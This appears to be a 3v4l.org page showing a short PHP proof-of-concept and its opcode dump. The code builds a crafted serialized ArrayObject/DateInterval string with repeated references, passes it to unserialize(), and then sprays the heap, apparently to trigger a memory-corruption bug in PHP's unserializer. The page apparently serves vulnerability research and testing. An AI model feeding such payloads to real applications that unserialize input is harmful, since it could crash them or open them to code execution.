3v4l.org

run code in 300+ PHP versions simultaneously
<?php class test { var $ryat; function __wakeup() { // $this->ryat = 'ryat'; } } $inner = 'x:i:0;O:12:"DateInterval":0:{};m:a:2:{i:0;r:4;i:1;r:4;}'; $exploit = 'C:11:"ArrayObject":'.strlen($inner).':{'.$inner.'}'; $data = unserialize($exploit); for($i = 0; $i < 5; $i++) { $v[$i] = 'hi'.$i; } echo(serialize($data));
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 17
Branch analysis from position: 17
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 13
Branch analysis from position: 19
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 13
2 jumps found. (Code = 44) Position 1 = 19, Position 2 = 13
Branch analysis from position: 19
Branch analysis from position: 13
filename:       /in/QgZsE
function name:  (null)
number of ops:  24
compiled vars:  !0 = $inner, !1 = $exploit, !2 = $data, !3 = $i, !4 = $v
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
   12     0  E >   ASSIGN                                                   !0, 'x%3Ai%3A0%3BO%3A12%3A%22DateInterval%22%3A0%3A%7B%7D%3Bm%3Aa%3A2%3A%7Bi%3A0%3Br%3A4%3Bi%3A1%3Br%3A4%3B%7D'
   13     1        STRLEN                                           ~6      !0
          2        CONCAT                                           ~7      'C%3A11%3A%22ArrayObject%22%3A', ~6
          3        CONCAT                                           ~8      ~7, '%3A%7B'
          4        CONCAT                                           ~9      ~8, !0
          5        CONCAT                                           ~10     ~9, '%7D'
          6        ASSIGN                                                   !1, ~10
   14     7        INIT_FCALL                                               'unserialize'
          8        SEND_VAR                                                 !1
          9        DO_ICALL                                         $12     
         10        ASSIGN                                                   !2, $12
   16    11        ASSIGN                                                   !3, 0
         12      > JMP                                                      ->17
   17    13    >   CONCAT                                           ~16     'hi', !3
         14        ASSIGN_DIM                                               !4, !3
         15        OP_DATA                                                  ~16
   16    16        PRE_INC                                                  !3
         17    >   IS_SMALLER                                               !3, 5
         18      > JMPNZ                                                    ~18, ->13
   20    19    >   INIT_FCALL                                               'serialize'
         20        SEND_VAR                                                 !2
         21        DO_ICALL                                         $19     
         22        ECHO                                                     $19
         23      > RETURN                                                   1

Class test:
Function __wakeup:
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/QgZsE
function name:  __wakeup
number of ops:  1
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    9     0  E > > RETURN                                                   null

End of function __wakeup

End of class test.

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.44 ms | 1396 KiB | 17 Q